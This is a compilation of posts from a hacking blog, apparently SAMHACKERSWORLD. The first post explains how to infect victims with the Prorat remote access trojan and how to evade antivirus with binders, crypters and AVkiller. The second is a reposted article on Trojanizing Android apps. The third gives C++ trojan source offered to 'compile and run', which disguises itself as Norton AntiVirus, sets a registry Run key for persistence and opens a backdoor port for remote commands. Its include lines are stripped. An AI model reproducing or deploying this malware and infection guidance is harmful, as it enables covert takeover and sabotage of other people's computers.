Software to Hack Computer Remotely: RAT (Remote Access Trojan) - SAMHACKERSWORLD

I am back with a completely new hacking topic – hacking computer remotely. This software  called “Prorat,” is used to hack computers remotely.

RATs :

The RAT acronym stands for Remote Administration Tool. A RAT is a software, popularly used to control other computers remotely.

Some examples of RATs are:
Prorat
Turkojan
Yuri RAT and many other.

Working of RATs:

To hack a computer remotely using a RAT, you have to create a server and then send this server to the victim whose computer you’re trying to hack. Generally, this server is binded to any file, like a picture or song, so that whenever the victim opens the file on his computer, our server is installed. This server opens a port on the victim’s computer, allowing you to remotely hack the device via the open port.

This RAT server then sends all system information to PRORAT, allowing us to then hack the computer.

Things you can do by hacking computers remotely:

Once you gain remote access to the computer, you can perform any of the following:

# Install a keylogger
# Monitor chat windows
# Shutdown computer remotely
# Take control of system registry
# Hack locally stored passwords and licence keys
# Download additional malware and servers to gain stronger control
# Control and access all Control Panel options (including add or remove programs)
# Send various error messages
# Access printer services
# Erase all disk data by formatting drives
# Open FTP connection and start file transaction

Thus, you gain total control of the computer. Hence, why this software is very popular.

Disadvantage of Remote Hacking Software RAT:

The main disadvantage of the RAT software is that the server created to hack into the computer remotely is recognized by most antiviruses as a hack tool, and antiviruses send alert messages when installing a RAT server.
Luckily, there are many software options like Binders or Crypters that hide RAT servers and prevent antiviruses from sending alerts. There are even softwares like AVkiller which render antivirus software inactive, allowing our server (used to hack computer remotely) to be easily installed on the victim’s computer.

This is all about RATs – software used to hack computers remotely. In my next article, I will discuss server creation and installation on remote computers.

How to Create Your Own Android Trojan in 5 Easy Steps - SAMHACKERSWORLD

It seems that every few weeks a new crop of malicious Android apps turns up in the market. Sometimes Google just removes them from the market; other times it uses the "kill switch" to disable already-downloaded apps from Android devices around the world.

Typically these threats are perfectly ordinary-looking apps. Like the Trojan Horse of legend, they enter your device freely, with your permission. Once installed they do something nasty. Some users are shocked that Google can remove stuff from your Android phone remotely. I'm more alarmed at the ridiculous ease with which malicious coders can create Trojans for Android.

At last week's Next@Norton event, Symantec researchers presented a dazzling array of information about the current state of mobile security and the mobile malware landscape. Eric Chien, Technical Director for Security Response, revealed the absurdly simple steps a malefactor uses to create a brand-new Trojan by creating one right in front of the audience. Don't worry; his sample app never left the room.

Here are the five simple steps Chien demonstrated:

One. Start by downloading a free app. You can choose any app at all, but of course you'll want to pick something that will draw plenty of downloads.

Two. The language compilers that create applications on your PC take textual source code and convert it into assembly language that the CPU can read and process. It's a one-way translation; there's no way to go from the final executable file back to the source code. Android apps are written in Java, though, and that means that you can decompile them back to the original source code using simple, easily-available tools. For the next step, decompile your target app.

Three. The third step is a little tricky. You'll need to obtain Java source code that does something nasty, like sending personal information from the device to a third party. For the demonstration, Chien used a known threat called Android.Geinimi.

Four. Adding the Trojan code is absurdly simple. You copy it into the folder containing the existing source code, make a small change in the manifest to run the Trojan code before the rest of the app, and edit the permissions to give the Trojanized app free access to the entire device. While you're at it, tweak the app's name. Chien added "FREE!" to the name for his demo.

Five. Compile the modified app and upload it to the market. You're done!

Of course, malicious apps don't last long in the Android Market. If you really want to spread a dangerous program, you're better off uploading it in China, where there is no official Android market. In fact, virtually all of the examples referenced in Chien's presentation surfaced in the free-for-all markets of China.

Not planning to do this yourself? Good! But I'm sure that like me you're shocked at how easily someone with bad intentions can create a brand new Android Trojan. It's time to look into mobile security for your Android device.

TROJAN VIRUS SOURCE CODE - SAMHACKERSWORLD

TAKE IT +==> COMPILE +==>> RUN  !

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#include
#include
#include
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}

void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}

void Install()
{
CopyFile(Module,Windir,0);

HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}

int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Winsock initialized.” << “\n”;
}

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Socket created.” << “\n”;
}

sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}

else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}

void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}

void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}

void LeftMouse()
{
SwapMouseButton(true);
}

void RightMouse()
{
SwapMouseButton(false);
}

void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=”";
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}

int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}

Warning:- Don't Run On your Personal Computer.

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